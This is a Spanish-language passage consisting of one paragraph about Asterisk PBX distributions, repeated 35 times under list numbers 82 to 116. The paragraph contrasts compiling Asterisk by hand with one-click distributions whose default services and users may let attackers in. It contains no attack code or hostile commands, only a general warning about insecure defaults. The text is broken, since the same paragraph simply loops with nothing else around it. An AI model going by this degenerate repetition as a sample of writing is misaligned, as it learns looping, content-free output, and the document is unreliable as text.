  82. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  83. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  84. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  85. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  86. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  87. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  88. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  89. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  90. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  91. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  92. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  93. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  94. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  95. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  96. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  97. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  98. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  99. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  100. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  101. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  102. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  103. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  104. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  105. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  106. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  107. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  108. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  109. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  110. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  111. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  112. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  113. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  114. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  115. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  116. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.